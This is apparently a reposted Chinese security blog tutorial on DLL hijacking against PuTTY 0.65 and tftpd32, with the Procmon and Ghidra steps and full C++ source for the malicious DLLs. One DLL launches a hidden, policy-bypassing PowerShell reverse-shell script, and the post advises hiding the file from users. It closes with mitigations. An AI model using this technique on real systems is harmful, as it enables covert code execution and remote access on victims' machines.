1. 首页
  2. 代码审计

DLL劫持漏洞与思考

【推荐学习】暗月渗透测试培训 十多年渗透经验,体系化培训渗透测试 、高效学习渗透测试,欢迎添加微信好友aptimeok 咨询。

DLL劫持顾名思义,是去执行一个外部库(dll)的代码,而不是执行一个可移植的可执行 PE文件。通过DLL的搜索顺序,可以将代码植入二进制程序让易受攻击的应用程序加载并执行。这不是一个新提出的攻击方法,但有什么更好的方法可以通过NSA最新发布的工具Ghidra找到dll劫持代码吗?

我在这篇文章中将会相当深入地介绍DLL劫持,但首先有一些基本的概念需要了解一下。

使用Procmon,打开目标PE,识别试图从可写路径加载的DLLs文件名。

使用Ghidra识别所述DLL的入口点。

创建入口点是你的有效载荷的DLL。

对编译后的DLL进行重命名,并加入可写目录。

执行存在劫持突破的exe程序。

首先我们需要安装下列程序:

Sysinternals套件

Ghidra-  如果尚未安装,需要Java 11

Visual Studio CE

腻子  0.65-需要劫持的应用程序

tftpd32 v3.50-将被劫持的应用程序

测试DLL劫持的应用有很多,但这些应用都很简单,而且在我遇到的一些文章中都有记录。如果需要深入研究每个例子,一定要查看更多代码。Sysinternals还包含少量的二进制文件,如果你愿意的话,可以进行更多的dll劫持练习。

找到系统中可被劫持的DLL

这一步的目标是找到程序试图加载的DLL,一种是它想加载但是找不到,或者它找到了并且你作为一个低权限用户调用有写入的权限。我们通常去寻找放置C:\,网络共享端,用户桌面,或者其他常见的可写目录下的应用程序。

C:\WindowsC:\Program Files目录中的任何内容都通过Admin privsUAC来保护。在某个场景中,如果UAC可以被绕过,可以通过DLL劫持来实现。参考https://github.com/hfiref0x/UACME,了解大量的UAC绕过技术。

使用Sysinternals工具Procmon,我们可以运行一个PE,并观察它试图加载DLL。PowerSploit也有一些Powershell模块可以识别潜在的可劫持进展和路径。
但是在这里我们还是使用Procmon去查找这些替换文件。

在第一个示例中,我们将对Putty 0.65进行测试。有时情况下,Putty安装在 C:\Program Files (x86)中,这个文件夹是安全并受到保护的。在我们的示例中,我们将其安装在桌面上。

在启动putty之前首先启动Procmon,通过设置一些过滤器来缩小我们的结果。我们要找到Putty试图加载它的文件夹(桌面)中调用但是实际上在文件夹中不存在的DLLs。这是应用程序在Windows系统上搜索外部库的第一个位置。微软官方指南关于DLL搜索顺序

所以我们要在Procmon中设置过滤器,以显示putty试图从其主目录加载时产生而没有找到错误的DLL。设置好过滤器后,运行Putty并检查结果。

替代文字

我们将重点关注WINMM.dll。如果您删除Procmon中的过滤器,您会看到DLL的搜索顺序发生了变化,并在C:\Windows\SysWOW64中找到了有效的winmm.dll,这个dll正式我们想要“劫持”的文件。

替代文字

那么为什么不直接在dll中创建一个有效的副本,重命名后放在桌面上Putty文件夹中呢?因为Putty是在DLL中调用一个函数,如果你在DLL中没有这个函数,会导致Putty崩溃,无法正常加载。

很好,那么我们如何找到Putty调用的函数呢?然后需要使用Ghidra了。

使用GHIDRA寻找DLL函数的入口点

下载Ghidra,将putput.exe合并到主窗口中,让Ghidra进行进行解析。

替代文字

完成后,单击左侧导航栏的符号树,展开导入文件夹。在这里你会看到Putty所有使用的导入库,其中有我们刚才发现的WINMM.DLL。展开WINMM.DLL,我们看到当中有一个唯一被称为过的引入函数PlaySoundA

替代文字

记下这个函数以及DLL中其他被调用的函数名。现在是时候重建我们的DLL了。

构造我们的DLL

现在我们知道了入口点函数和库名,我们可以开始编译恶意的DLL了。请记住,构造完成之后这个函数将被替换为转换函数,方便Putty进行进行导入。

在Visual Studios中创建一个新的dll项目,将下面的代码粘贴到其中的dllmain.cpp中。您也可以对这个代码进行修改,然后在Linux上使用mingw32进行编译。
PlaySoundA函数内部的代码会弹出计算器。

#include "stdafx.h"
BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
WinExec("calc", SW_NORMAL);
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
extern "C" __declspec(dllexport) void PlaySoundA()
{
WinExec("calc", SW_NORMAL);
}

使用Windows内置的RUNDLL32.exe对我们编译生成的DLL进行测试。执行RUNDLL32.exe需要两个参数,一个是dll,另一个是其中的包括转换函数名。
在这个例子中,putty会执行DLL_PROCESS_ATTACH和PlaySoundA函数,然后展开计算器。接下来就可以进行最后的dll劫持了。

进攻利用

只需将您编译好的dll移到Putty的目录下,并重命名它,然后执行putty.exe

替代文字

上面的图片显示我们的突破利用成功了,如果你想把这件事做的更隐蔽,,可以把DLL的文件属性设置为“隐藏”,这样一般的Putty用户就不会看到这个单独的DLL,避免产生任何怀疑。

多入口点函数

与上面类似,我们将针对tftpd32 v3.50运行Procmon。这个应用本身不存在漏洞,但他是一个简单的Windows PE例子。这次我们将使用一个reverse shell作为payload以及一个带有多个入口点函数的DLL。

运行Procmon后,识别出几个在程序中被加载的dll:

替代文字

Next, Open Ghidra » Expand Imports » Expand IPHLPAPI.dll and we see 3 functions.
接下来,打开Ghidra -> Expand Imports -> Expand **IPHLPAPI.dll**,我们看到3个函数

替代文字

接下来就是创建我们的DLL。但多个入口点函数如何处理呢?只需像之前一样实现每个导出函数,总共有三个。你需要添加所有的导出函数,否则应用程序在执行的时候会崩溃。
至于有效载荷,它将是一个简单的Powershell反向shell,隐藏在tftpd32目录下(shell.ps1)。

一个例子:

#include "stdafx.h"
#include <stdlib.h>
BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
system("start powershell -win hidden -nonI -nopro -ep bypass -File shell.ps1");
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
extern "C" __declspec(dllexport) void SendARP()
{
WinExec("calc", SW_NORMAL);
}
extern "C" __declspec(dllexport) void GetIpNetTable()
{
WinExec("calc", SW_NORMAL);
}
extern "C" __declspec(dllexport) void DeleteIpNetEntry()
{
WinExec("calc", SW_NORMAL);
}

编译成DLL,放在对应的文件夹下面并执行。

替代文字

缓解措施

最好的做法是将应用程序和DLL安装在受保护的文件夹中,如C:\Program Files

C:\Windows

避免直接从网络共享运行可执行文件。相反,将它们移到本地保护的文件夹中。

启用SafeDllSearchMode。现代Windows操作系统(Win2012+)默认启用了SafeDllSearchMode,可以通过注册表GPO进行检查。

设置注册表 Reg keyHKLM\SYSTEM\CurrentControlSet\Control\Session Manager\SafeDLLSearchMode

Server 2012之前的机器 Prior to 2012Computer Configuration >> Policies >> Windows Settings >> Security Settings >> Local Policies >> Security Options >> MSS: SafeDlSeachlMode

禁用远程DLL加载。有必要加载远程库吗?请记住,任何远程SMB流量都是一个明确的危险信号。

应用程序白名单。如果没有被绕过,这将阻止可执行文件和库在预定义目录之外执行。

参考链接

https://attack.mitre.org/techniques/T1038/

http://www.bluekaizen.org/dll-hijacking-2/

https://pentestlab.blog/2017/03/27/dll-hijacking/

https://astr0baby.wordpress.com/2018/09/08/understanding-how-dll-hijacking-works/

https://liberty-shell.com/sec/2019/03/12/dll-hijacking/

本文来自本文作者:Kriston, 转载自FreeBuf.COM,经授权后发布,本文观点不代表立场,转载请联系原作者。

联系我们

400-800-8888

在线咨询:点击这里给我发消息

邮件:admin@example.com

工作时间:周一至周五,9:30-18:30,节假日休息